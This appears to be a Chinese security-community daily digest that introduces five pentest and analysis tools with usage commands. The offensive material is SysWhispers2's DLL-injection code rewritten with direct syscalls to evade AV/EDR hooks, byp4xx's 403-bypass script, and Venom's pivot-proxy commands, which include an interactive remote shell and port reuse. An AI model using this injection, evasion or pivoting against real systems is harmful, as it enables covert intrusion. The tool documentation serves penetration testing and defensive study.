2021-01-07
责任编辑:Bob
1.SysWhispers2通过调用系统做到AV/EDR免杀的工具。2.byp4xx绕过“ 403 Forbidden”响应的bash脚本3.Sarenka是一个开源情报(OSINT)工具,可帮助了解攻击面。4.Pcapmonkey提供使用最新版本的Suricata和Zeek分析pcap的简便方法的一个项目。5.Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
很多安全产品都会在用户模式API下设置钩子,这样就可以帮助它们将目标程序的执行流重定向至它们的引擎中,并检测可疑的行为。Ntdll.dll中的函数可以通过少量汇编指令来发送系统调用,因此在我们的植入程序中重新实现这种操作,就可以帮助我们绕过这些安全产品所设置的钩子了。
git clone https://github.com/jthuraisamy/SysWhispers2.git
cd SysWhispers2
py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common . ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscalls_common.h
syscalls_common.c
syscalls_common_stubs.asm
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
使用下列函数及方法并配合“--preset common”参数,可以创建一个Header/ASM键值对:
NtCreateProcess(CreateProcess)
NtCreateThreadEx(CreateRemoteThread)
NtOpenProcess(OpenProcess)
NtOpenThread(OpenThread)
NtSuspendProcess
NtSuspendThread(SuspendThread)
NtResumeProcess
NtResumeThread(ResumeThread)
NtGetContextThread(GetThreadContext)
NtSetContextThread(SetThreadContext)
NtClose(CloseHandle)
NtReadVirtualMemory(ReadProcessMemory)
NtWriteVirtualMemory(WriteProcessMemory)
NtAllocateVirtualMemory(VirtualAllocEx)
NtProtectVirtualMemory(VirtualProtectEx)
NtFreeVirtualMemory(VirtualFreeEx)
NtQuerySystemInformation(GetSystemInfo)
NtQueryDirectoryFile
NtQueryInformationFile
NtQueryInformationProcess
NtQueryInformationThread
NtCreateSection(CreateFileMapping)
NtOpenSection
NtMapViewOfSection
NtUnmapViewOfSection
NtAdjustPrivilegesToken(AdjustTokenPrivileges)
NtDeviceIoControlFile(DeviceIoControl)
NtQueueApcThread(QueueUserAPC)
NtWaitForMultipleObjects(WaitForMultipleObjectsEx)
1、将生成的Header/ASM文件拷贝至项目目录;2、在Visual Studio中,点击Project→Build Customizations...,然后启用MASM;
3、在Solution Explorer中,添加.h和.asm文件至项目中,作为对应的Header和源文件引用;
4、进入ASM文件的属性页中,设置Item类型为Microsoft Macro Assembler;
5、确保项目平台设置为x64,目前该项目不支持32位平台;
1、目前仅支持在64位的Windows操作系统;2、目前不支持来自图形子系统(win32k.sys)的系统调用;
3、工具仅在Windows 10 SDK的Visual Studio 2019(v142)中进行过测试;
https://github.com/jthuraisamy/SysWhispers2
使用#bugbountytips中讨论的众所周知的方法绕过“ 403 Forbidden”响应的bash脚本。
git clone https://github.com/lobuhi/byp4xx.git
cd byp4xx
chmod u+x byp4xx.sh
以http或https开头的URL
./byp4xx.sh [OPTIONS] http(s)://url/path
OPTIONS:
-c Return the entire curl command if response is 200
-r Redirects if the response is 3XX
./byp4xx.sh https://www.google.es/test
多个HTTP动词/方法
多个标头:引荐来源,X-Custom-IP-Authorization ...
允许重定向
如果响应为200,则返回整个curl命令
https://github.com/lobuhi/byp4xx
Sarenka是一个开源情报(OSINT)工具,可帮助您获得和了解攻击面。
主要目标是从搜索引擎收集与Internet连接的设备(https://censys.io/、https://www.shodan.io/)的信息[1]。它会收集有关常见漏洞和披露(CVE),常见弱点枚举(CWE)的数据,并将CVE映射到CWE的数据库。
生成此文件需要很长时间 e.g: 702.5641514
所有带有说明的CWE ID
https://raw.githubusercontent.com/pawlaczyk/sarenka_tools/master/cwe_all.json
所有带有说明的CVE ID
正在进行
通过CWE ID获取所有CVE ID
正在进行
正在进行
Rirst版本从两个搜索引擎收集数据。示例sarenka / backend / connectors / credentials.json
{
"censys": {
"base_url": "https://censys.io/",
"API_ID": "<my_user>",
"Secret": "<my_api_key>",
"API_URL": "https://censys.io/api/v1"
},
"shodan": {
"base_url": "https://www.shodan.io/",
"user": "<my_user>",
"api_key": "<my_api_key>"
}
}
通过ip从https://censys.io/获取数据
通过ip从https://www.shodan.io/获取数据
获取DNS数据
获取WHOIS数据
横幅抓
通过CWE查找CVE
pdf报告
你也可以:
根据用户字符串计算哈希
根据用户字符串计算香农熵
检查端口是否打开|关闭(如果可以,请始终使用nmap-这很慢)
https://github.com/pawlaczyk/sarenka
Pcapmonkey是一个项目,它将提供使用最新版本的Suricata和Zeek分析pcap的简便方法。它还可以使用新的Elasticsearch Common Schema或原始字段名称将Suricata和Zeek日志保存在Elasticsearch中。
https://docs.docker.com/install/linux/docker-ce/ubuntu/
https://docs.docker.com/compose/install/
要卸载并删除所有文件,请使用以下命令删除所有容器
sudo docker-compose down -v
要启动Elasticsearch,Logstash和Kibana,请运行以下命令
sudo docker-compose up -d elasticsearch logstash kibana
使用以下命令检查一切是否正常:
sudo docker-compose ps
输出应为以下内容:
Name Command State Ports
---------------------------------------------------------------------------------------------------------
pcapopt_elasticsearch /usr/local/bin/docker-entr ... Up (health: starting) 9200/tcp, 9300/tcp
pcapopt_logstash /usr/local/bin/docker-entr ... Up
pcapopt_kibana /usr/local/bin/dumb-init - ... Up (health: starting) 127.0.0.1:5601->5601/tcp
Kibana和elasticsearch可能要花几分钟才能开始。您可以通过docker-compose ps等待并等待starting消失来监视进度。
当一切正常运行后,您可以转到http:// localhost:5601打开Kibana Web界面。首次访问时,您应该看到以下屏幕:
单击“Explore on my own”以关闭窗口。
现在我们可以导入panoptikon索引模式,它们将用于访问我们的pcap数据。为此,请单击管理图标(齿轮):
点击“保存的对象”:
比打开导入对话框并kibana.ndjson从该存储库导入文件。现在回到基巴纳,发现您应该看到两个索引模式称为pcapmonkey和pcapmonkey_original_ts。
使用以下命令下载所有Open ET规则:
sudo docker-compose run --entrypoint='suricata-update -f' suricata
此命令将下载规则并在中创建规则文件./config/suricata/rules/suricata.rules。
如果要测试自定义规则,请将其添加到./config/suricata/rules/custom.rules文件中。
pcap在pcap文件夹中放入一个文件。
警告:文件应具有.pcap扩展名,如果使用.pcapng扩展名,则重命名文件
启动zeek和suricata容器:
sudo docker-compose up zeek suricata
容器将在控制台上打印输出,并在完成处理pcap时退出。您可以在Kibana上查看结果:http://localhost:5601
在Kibana有两种指数的模式:pcapmonkey和pcapmonkey_original_ts你可以选择那些从下拉菜单:
您可以从这些索引模式中看到zeek和suricata日志。pcapmonkey*使用默认时间戳字段(@timestamp)显示日志。这意味着日志数据在读取时就是索引。原始pcap时间保存在该timestamp字段中。
同时pcapotikon_original_ts*使用原始的pcap时间作为默认时间戳,因此您可以看到真实的时间轴。默认情况下,Kibana会显示最后15分钟的数据,因此,如果您要分析旧的pcap,请记住使用页面右上方的菜单来扩大搜索时间窗口。
完成停止所有操作后,请执行以下操作:
sudo docker-compose stop
文件提取插件会自动加载到Zeek中,提取的文件可以在中找到./zeek/extracted_files。插件配置在此文件中./config/zeek/site/file-extraction/config.zeek。您可以在以下文件中添加其他文件类型:
示例:要添加Microsoft Office文件提取,请将以下行添加到./config/zeek/site/file-extraction/config.zeek:
@load ./plugins/extract-ms-office.zeek
您可以在中找到所有受支持的文件类型.config/zeek/site/file-extraction/plugins。
要清理磁盘上的日志(logs文件夹中的所有内容),请运行以下脚本:
(sudo) ./clean_logs.sh
sudo 如果您以超级用户身份运行docker,则可能需要,因为日志文件是由zeek和suricata容器编写的。
如果您对同一个pcap进行了数十次分析(以测试suricata规则),则可能会从Elasticsearch中删除旧数据。为此,您可以打开Kibana Web界面并遵循以下路径:
Management -> Index Management -> select `panoptikon_original_ts` -> click "manage index" -> delete index
如果您更喜欢使用命令行,则可以在./logs目录中找到suricata和zeek日志。
如果您不想浪费时间开始filebeat / elasticsearch / kibana,请转到./zeek/site/local.zeek并注释掉第一行(@load policy/tuning/json-logs.zeek)。然后开始分析新的pcap并享受纯文本,制表符分隔的zeek日志
可以使用以下命令.evtx在index上的elasticsearch中导入文件windows_events:首先确保已启动并运行elasticsearch:
sudo docker-compose elasticsearch kibana
然后将每个.evtx要导入的文件放入文件夹中,import_event_logs然后运行以下命令:
sudo docker-compose -f docker-compose.yaml -f docker-compose-evtxtoelk.yaml up evtxtoelk
或者,您可以使用以下脚本执行相同的操作:
sudo ./import_event_logs.sh
现在,您可以在windows_events_original_ts和中找到事件日志windows_events。像suricata / zeek日志一样,它们通过事件的原始时间戳和摄取时间戳进行索引
使用弹性通用架构
如果您想使用ECS(弹性通用模式)来处理您的Zeek和Suricata日志,则还应该启动 filebeat
使用filebeat容器启动Elasticsearch:
sudo docker-compose up -d elasticsearch filebeat kibana
您可以filebeat-*在Elasticsearch的索引中看到您的日志:[Todo屏幕截图]
https://github.com/certego/PcapMonkey
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
可视化网络拓扑
多级socks5代理
多级端口转发
端口复用 (apache/mysql/...)
ssh隧道
交互式shell
文件的上传和下载
节点间通信加密
支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)由于IoT设备(arm/mips/...架构)通常资源有限,为了减小二进制文件的大小,该项目针对IoT环境编译的二进制文件不支持端口复用和ssh隧道这两个功能,并且为了减
您可以直接下载使用release中编译好的可执行文件
如果您想从源码编译该项目, 需要安装 go >= 1.11, 然后执行下面的命令
go get -u github.com/Dliv3/Venom/...
# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom# 编译好的二进制文件存放在当前目录下的release文件夹中
./build.sh
演示视频[2]
1.admin节点和agent节点均可监听连接也可发起连接
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
2.agent节点支持端口复用
agent提供了两种端口复用方法
通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
通过iptables进行端口复用(仅支持Linux平台)
通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。
第一种端口复用方法
# 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80./admin_macos_x64 -rhost 192.168.204.139 -rport 80
第二种端口复用方法
# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
这种端口复用方法会在本机设置iptables规则,将reuse-port
的流量转发到lport
,再由agent分发流量
需要注意一点,如果通过sigterm
,sigint
信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被kill -9
杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理sigkill
信号。
为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了iptables -m recent
通过特殊的tcp包控制iptables转发规则是否开启。
这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033
# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80# 连接agent节点
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
3.节点间通信加密
Venom提供节点间通信加密功能,用户可通过-passwd选项指定密码,该密码用于生成AES加密所需的密钥。
# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
1.help 打印帮助信息
(admin node) >>> help help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
2.show 显示网络拓扑
A表示admin节点,数字表示agent节点
下面的拓扑图表示,admin节点下连接了1节点,1节点下连接了2、4节点,2节点下连接了3节点
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
注意要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号
3.goto 操作某节点
(admin node) >>> goto 1
(node 1) >>>
在goto到某节点之后你就可以使用下面将要介绍的命令
4.getdes/setdes 获取/设置节点信息描述
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
5.connect/listen/sshconnect 节点间互连
node 1节点连接192.168.0.103的9999端口
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
在node1节点监听9997端口, 然后在另一台机器上运行./agent_linux_x64 -rhost 192.168.204.139 -rport 9997
连接node1
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
在192.168.0.104上执行./agent_linux_x64 -lport 9999, node3通过sshconnect建立ssh隧道连接192.168.0.104的9999端口。你可以使用密码或者是ssh私钥进行认证。
(node 1) >>> goto 3
(node 3) >>> sshconnect root@192.168.0.104:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
6.shell 获取节点的交互式shell
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
7.upload/download 向节点上传/从节点下载文件
将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to node 1: /tmp/test2.pdf
this file is too large(>100M), do you still want to upload it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from node 1: /tmp/test3.pdf
this file is too large(>100M), do you still want to download it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
8.socks 建立到某节点的socks5代理
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
执行成功socks命令之后,会在admin节点本地开启一个端口,如上述的7777,使用7777即可进行socks5代理
9.lforward/rforward 将本地端口转发到远程/将远程端口转发到本地
lforward将admin节点本地的8888端口转发到node1的8888端口
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
现阶段仅支持单个admin节点对网络进行管理
要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号
当使用第二种端口复用方法(基于iptables)时,你需要使用script/port_reuse.py去启用agent在目标主机上设置的端口复用规则。
https://github.com/Dliv3/Venom
最近团长组织的一个新活动~
悬剑日报进社区~
最后的最后鸣谢最近辛苦付出的悬剑小组个别同志:
Ady Robot G4br1el 伊斯坦布尔的喵
Bob YuL1n dexter 夏天
Dbasec 小和尚 kk catsay
胜于昨日 剑客 A hope
Dongdong97 随风 柠凉
[1]
https://censys.io/、https://www.shodan.io/)的信息: https://censys.io/%E3%80%81https://www.shodan.io/%EF%BC%89%E7%9A%84%E4%BF%A1%E6%81%AF[2]
演示视频: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI